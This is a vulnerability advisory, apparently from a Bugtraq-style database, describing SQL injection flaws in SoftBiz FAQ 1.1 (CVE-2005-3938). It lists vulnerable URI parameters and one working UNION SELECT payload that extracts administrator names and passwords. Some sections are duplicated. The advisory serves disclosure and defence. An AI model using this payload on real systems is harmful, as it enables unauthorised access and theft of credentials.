Softbiz FAQ Multiple SQL Injection Vulnerabilities
BID:15653
Info
Softbiz FAQ Multiple SQL Injection Vulnerabilities
| Bugtraq ID: | 15653 |
| Class: | Input Validation Error |
| CVE: |
CVE-2005-3938 |
| Remote: | Yes |
| Local: | No |
| Published: | Nov 30 2005 12:00AM |
| Updated: | Jul 02 2008 07:30PM |
| Credit: | r0t is credited with the discovery of this vulnerability. |
| Vulnerable: |
SoftBiz FAQ 1.1 SoftBiz B2B trading Marketplace Script 1.1 |
| Not Vulnerable: | |
Discussion
Softbiz FAQ Multiple SQL Injection Vulnerabilities
Softbiz FAQ is prone to multiple SQL injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in an SQL query.
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.
Softbiz FAQ 1.1 and prior versions are vulnerable; other versions may also be affected.
Softbiz FAQ is prone to multiple SQL injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in an SQL query.
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.
Softbiz FAQ 1.1 and prior versions are vulnerable; other versions may also be affected.
Exploit / POC
Softbiz FAQ Multiple SQL Injection Vulnerabilities
No exploit is required.
Sample URI have been provided:
http://www.example.com/index.php?cid=[SQL]
http://www.example.com/faq_qanda.php?id=[SQL]
http://www.example.com/refer_friend.php?id=[SQL]
http://www.example.com/print_article.php?id=[SQL]
http://www.example.com/add_comment.php?id=[SQL]
http:/www.example.com/faq/faq_qanda.php?id=-1+union+select+null,null,concat_ws(0x3a,adminname,adminpwd),null,null,null,null,null,null,null,null,null+from+sb_faq_admin--
No exploit is required.
Sample URI have been provided:
http://www.example.com/index.php?cid=[SQL]
http://www.example.com/faq_qanda.php?id=[SQL]
http://www.example.com/refer_friend.php?id=[SQL]
http://www.example.com/print_article.php?id=[SQL]
http://www.example.com/add_comment.php?id=[SQL]
http:/www.example.com/faq/faq_qanda.php?id=-1+union+select+null,null,concat_ws(0x3a,adminname,adminpwd),null,null,null,null,null,null,null,null,null+from+sb_faq_admin--
Solution / Fix
Softbiz FAQ Multiple SQL Injection Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
Softbiz FAQ Multiple SQL Injection Vulnerabilities
References:
References: